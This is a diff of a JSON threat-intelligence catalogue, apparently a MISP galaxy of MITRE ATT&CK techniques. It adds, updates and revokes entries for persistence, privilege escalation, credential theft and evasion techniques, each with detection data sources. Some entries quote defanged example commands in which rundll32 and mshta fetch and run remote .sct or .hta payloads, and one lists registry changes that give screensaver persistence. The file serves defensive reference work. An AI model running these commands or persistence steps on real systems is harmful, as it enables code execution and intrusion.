"mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Windows Registry", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/002", + "https://en.wikipedia.org/wiki/Screensaver", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf", + "value": "Screensaver - T1546.002" + }, + { + "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", + "meta": { + "external_id": "T1558.003", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1558/003", + "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1", + "https://adsecurity.org/?p=2293", + "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", + "https://msdn.microsoft.com/library/ms677949.aspx", + "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx", + "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/" + ] + }, + "related": [ + { + "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a", + "type": "subtechnique-of" + } + ], + "uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", + "value": "Kerberoasting - T1558.003" + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", + "meta": { + "external_id": "T1546.005", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/005", + "https://ss64.com/bash/trap.html", + "https://bash.cyberciti.biz/guide/Trap_statement" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "63220765-d418-44de-8fae-694b3912317d", + "value": "Trap - T1546.005" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the dynamic linker used to load libraries. The dynamic linker is used to load shared library dependencies needed by an executing program. The dynamic linker will typically check provided absolute paths and common directories for these dependencies, but can be overridden by shared objects specified by LD_PRELOAD to be loaded before all others.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)\n\nAdversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD with be loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS) (Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)\n\nLD_PRELOAD hijacking may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. Execution via LD_PRELOAD hijacking may also evade detection from security products since the execution is masked under a legitimate process.", + "meta": { + "external_id": "T1574.006", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "Environment variable" + ], + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/006", + "https://www.man7.org/linux/man-pages/man8/ld.so.8.html", + "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html", + "https://www.datawire.io/code-injection-on-linux-and-macos/", + "http://hick.org/code/skape/papers/needle.txt", + "http://phrack.org/issues/51/8.html" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "633a100c-b2c9-41bf-9be5-905c1b16c825", + "value": "LD_PRELOAD - T1574.006" + }, + { + "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)", + "meta": { + "external_id": "T1218.011", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Loaded DLLs", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/011", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "value": "Rundll32 - T1218.011" + }, + { + "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Access Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)", + "meta": { + "external_id": "T1574.012", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/012", + "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview", + "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)", + "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "https://redcanary.com/blog/cor_profiler-for-persistence/", + "https://offsec.almond.consulting/UAC-bypass-dotnet.html", + "https://github.com/OmerYa/Invisi-Shell", + "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", + "value": "COR_PROFILER - T1574.012" + }, + { + "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.", + "meta": { + "external_id": "T1546.014", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/014", + "https://www.xorrior.com/emond-persistence/", + "http://www.magnusviri.com/Mac/what-is-emond.html", + "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "9c45eaa3-8604-4780-8988-b5074dbb9ecd", + "value": "Emond - T1546.014" + }, + { + "description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).", + "meta": { + "external_id": "T1163", + "refs": [ + "https://attack.mitre.org/techniques/T1163", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ] + }, + "related": [ + { + "dest-uuid": "dca670cf-eeec-438f-8185-fd959d9ef211", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "value": "Rc.common - T1163" + }, + { + "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", + "meta": { + "external_id": "T1121", "refs": [ "https://attack.mitre.org/techniques/T1121", "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", @@ -11483,11 +20974,48 @@ "https://lolbas-project.github.io/lolbas/Binaries/Regasm/" ] }, + "related": [ + { + "dest-uuid": "c48a67ee-b657-45c1-91bf-6cdbe27205f8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302", "value": "Regsvcs/Regasm - T1121" }, { - "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", + "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", + "meta": { + "external_id": "T1090", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Process use of network", + "Process monitoring", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1090", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "value": "Proxy - T1090" + }, + { + "description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", "meta": { "external_id": "CAPEC-552", "kill_chain": [ @@ -11519,17 +21047,6 @@ "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", "meta": { "external_id": "T1170", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1170", "https://en.wikipedia.org/wiki/HTML_Application", @@ -11542,6 +21059,15 @@ "https://lolbas-project.github.io/lolbas/Binaries/Mshta/" ] }, + "related": [ + { + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", "value": "Mshta - T1170" }, @@ -11549,24 +21075,21 @@ "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", "meta": { "external_id": "T1180", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Windows Registry", - "File monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1180", "https://en.wikipedia.org/wiki/Screensaver", "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" ] }, + "related": [ + { + "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae", "value": "Screensaver - T1180" }, @@ -11574,30 +21097,26 @@ "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)", "meta": { "external_id": "T1085", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1085", "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/" ] }, + "related": [ + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", "value": "Rundll32 - T1085" }, { - "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.", + "description": "**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.", "meta": { "external_id": "CAPEC-552", "kill_chain": [ @@ -11612,56 +21131,19 @@ "refs": [ "https://attack.mitre.org/techniques/T1062", "https://capec.mitre.org/data/definitions/552.html", + "https://en.wikipedia.org/wiki/Hypervisor", "http://en.wikipedia.org/wiki/Xen", "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf", - "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html", - "https://en.wikipedia.org/wiki/Hypervisor" + "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html" ] }, "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63", "value": "Hypervisor - T1062" }, - { - "description": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)", - "meta": { - "external_id": "T1207", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "API monitoring", - "Authentication logs", - "Network protocol analysis", - "Packet capture" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1207", - "https://www.dcshadow.com/", - "https://adsecurity.org/?page_id=1821", - "https://github.com/shellster/DCSYNCMonitor", - "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html", - "https://msdn.microsoft.com/en-us/library/ms677626.aspx" - ] - }, - "uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a", - "value": "DCShadow - T1207" - }, { "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)", "meta": { "external_id": "T1208", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1208", "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", @@ -11672,17 +21154,27 @@ "https://adsecurity.org/?p=2293" ] }, + "related": [ + { + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", "value": "Kerberoasting - T1208" }, { - "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nA third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. \n\nAdversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017)\n\n### Windows\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the C:\\Windows\\System32 directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n### Linux\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binaries include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)", + "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "meta": { "external_id": "CAPEC-177", "kill_chain": [ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ + "Process command-line parameters", "File monitoring", "Process monitoring", "Binary file metadata" @@ -11695,16 +21187,8 @@ "refs": [ "https://attack.mitre.org/techniques/T1036", "https://capec.mitre.org/data/definitions/177.html", - 